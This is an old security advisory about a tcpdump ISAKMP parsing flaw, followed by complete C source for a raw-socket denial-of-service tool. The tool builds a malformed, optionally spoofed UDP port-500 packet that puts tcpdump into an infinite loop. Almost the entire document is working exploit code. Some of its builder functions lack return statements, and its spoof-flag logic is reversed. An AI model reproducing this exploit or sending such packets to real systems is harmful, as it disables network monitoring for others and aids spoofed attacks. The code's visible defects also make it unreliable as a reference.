// source: https://www.securityfocus.com/bid/6974/info
It has been reported that tcpdump is vulnerable to a denial of service when some packet types are received. By sending a maliciously formatted packet to a system using a vulnerable version of tcpdump, it is possible for a remote user to cause tcpdump to ignore network traffic from the time the packet is received until the application is terminated and restarted.
/*
* ST-tcphump.c -- tcpdump ISAKMP denial of service attack
* The Salvia Twist
* 01/03/03
*
* "A vulnerability exists in the parsing of ISAKMP packets (UDP port 500)
* that allows an attacker to force TCPDUMP into an infinite loop upon
* receipt of a specially crafted packet."
*
* The fault really lies in isakmp_sub0_print() not isakmp_sub_print().
*
* Sometimes spoofed packets don't reach their destination, so we have support
* for non-spoofed packets.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <linux/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <unistd.h>
#define ISAKMPGEN_SIZE sizeof(struct isakmpgen)
#define ISAKMPHEAD_SIZE sizeof(struct isakmphdr)
#define PSDHEAD_SIZE sizeof(struct pseudohdr)
#define UDPHEAD_SIZE sizeof(struct udphdr)
#define IPHEAD_SIZE sizeof(struct iphdr)
#define PORT 500
struct isakmpgen * isakmpg(void);
struct isakmphdr * isakmph(void);
struct udphdr * udph(void);
struct iphdr * iph(void);
__u16 cksum(__u16 *buf, int nbytes);
void get_interface(void);
void usage(void);
struct isakmpgen {
__u8 np;
__u8 reserved;
__u16 length;
};
struct isakmphdr {
__u8 i_ck[8];
__u8 r_ck[8];
__u8 np;
__u8 vers;
__u8 etype;
__u8 flags;
__u8 msgid[4];
__u32 len;
};
struct pseudohdr {
__u32 saddr;
__u32 daddr;
__u8 zero;
__u8 protocol;
__u16 length;
};
struct sockaddr_in saddr;
struct sockaddr_in local;
int spoof;
int main(int argc, char *argv[]) {
char *packet = malloc(4096);
char *pseudo = malloc(4096);
struct isakmpgen *isakmpgen = malloc(ISAKMPGEN_SIZE);
struct isakmphdr *isakmp = malloc(ISAKMPHEAD_SIZE);
struct pseudohdr *phdr = malloc(PSDHEAD_SIZE);
struct udphdr *udp = malloc(UDPHEAD_SIZE);
struct iphdr *ip = malloc(IPHEAD_SIZE);
int sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
int one = 1;
const int *val = &one;
printf("ST-tcphump tcpdump ISAKMP denial of service\n");
printf(" The Salvia Twist\n");
if(argc < 2) {
usage();
exit(1);
}
if(!strcmp(argv[1], "-s"))
spoof = 0;
else {
spoof = 1;
get_interface();
}
if(!spoof && argc < 3) {
usage();
exit(1);
}
bzero(packet, sizeof(packet));
bzero(pseudo, sizeof(pseudo));
srand(time(NULL));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(PORT);
if(spoof)
saddr.sin_addr.s_addr = inet_addr(argv[1]);
else
saddr.sin_addr.s_addr = inet_addr(argv[2]);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one));
ip = iph();
udp = udph();
isakmp = isakmph();
isakmpgen = isakmpg();
memcpy(&phdr->saddr, &ip->saddr, 4);
memcpy(&phdr->daddr, &ip->daddr, 4);
phdr->protocol = 17;
phdr->length = htons(UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);
memcpy(pseudo, phdr, PSDHEAD_SIZE);
memcpy(pseudo + PSDHEAD_SIZE, udp, UDPHEAD_SIZE);
memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE);
memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE,
isakmpgen, ISAKMPGEN_SIZE);
udp->check = cksum((u_short*) pseudo, PSDHEAD_SIZE + UDPHEAD_SIZE +
ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);
memcpy(packet, ip, IPHEAD_SIZE);
memcpy(packet + IPHEAD_SIZE, udp, UDPHEAD_SIZE);
memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE);
memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE,
isakmpgen, ISAKMPGEN_SIZE);
ip->check = cksum((u_short*) packet, ip->tot_len >> 1);
memcpy(packet, ip, IPHEAD_SIZE);
if(sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *) &saddr,
sizeof(saddr)) < 0) {
printf("sendto error\n");
exit(1);
}
printf("Packet sent.\n");
return 0;
}
void usage(void) {
printf("\nUsage: ST-tcphump -s <target addr>\n");
printf("\t-s\tdon't spoof source address\n");
}
__u16 cksum(__u16 *buf, int nbytes) {
__u32 sum;
__u16 oddbyte;
sum = 0;
while(nbytes > 1) {
sum += *buf++;
nbytes -= 2;
}
if(nbytes == 1) {
oddbyte = 0;
*((__u16 *) &oddbyte) = *(__u8 *) buf;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (__u16) ~sum;
}
struct isakmpgen * isakmpg(void) {
struct isakmpgen *isakmpg = malloc(ISAKMPGEN_SIZE);
bzero(isakmpg, ISAKMPGEN_SIZE);
isakmpg->np = 69;
}
struct isakmphdr * isakmph(void) {
struct isakmphdr *isakmph = malloc(ISAKMPHEAD_SIZE);
int i;
bzero(isakmph, ISAKMPHEAD_SIZE);
for(i = 0; i < 8; i++) {
isakmph->i_ck[i] = rand() % 256;
isakmph->r_ck[i] = rand() % 256;
}
for(i = 0; i < 4; i++)
isakmph->msgid[i] = rand() % 256;
isakmph->vers = 0x8 << 4 | 0x9;
isakmph->np = 69;
isakmph->etype = 2;
isakmph->len = htonl(ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);
}
struct udphdr * udph(void) {
struct udphdr *udph = malloc(UDPHEAD_SIZE);
udph->source = htons(PORT);//htons(1024 + (rand() % 2003));
udph->dest = htons(PORT);
udph->len = UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE;
udph->check = 0;
}
struct iphdr * iph(void) {
struct iphdr *iph = malloc(IPHEAD_SIZE);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE +
ISAKMPGEN_SIZE;
iph->id = htons(rand());
iph->frag_off = 0;
iph->ttl = 225;
iph->protocol = 17;
iph->check = 0;
if(spoof) {
iph->saddr = saddr.sin_addr.s_addr;
}
else
iph->saddr = local.sin_addr.s_addr;
iph->daddr = saddr.sin_addr.s_addr;
return iph;
}
/* thanks hping2 */
void get_interface(void) {
int sockr, len, on = 1;
struct sockaddr_in dest;
struct sockaddr_in iface;
memset(&iface, 0, sizeof(iface));
memcpy(&dest, &saddr, sizeof(struct sockaddr_in));
dest.sin_port = htons(11111);
sockr = socket(AF_INET, SOCK_DGRAM, 0);
if(setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) == -1) {
printf("getsockopt error\n");
exit(1);
}
if(connect(sockr, (struct sockaddr *)&dest,
sizeof(struct sockaddr_in)) == -1) {
printf("connect error\n");
exit(1);
}
len = sizeof(iface);
if(getsockname(sockr, (struct sockaddr *)&iface, &len) == -1) {
printf("getsockname error\n");
exit(1);
}
close(sockr);
memcpy(&local, &iface, sizeof(struct sockaddr_in));
return;
}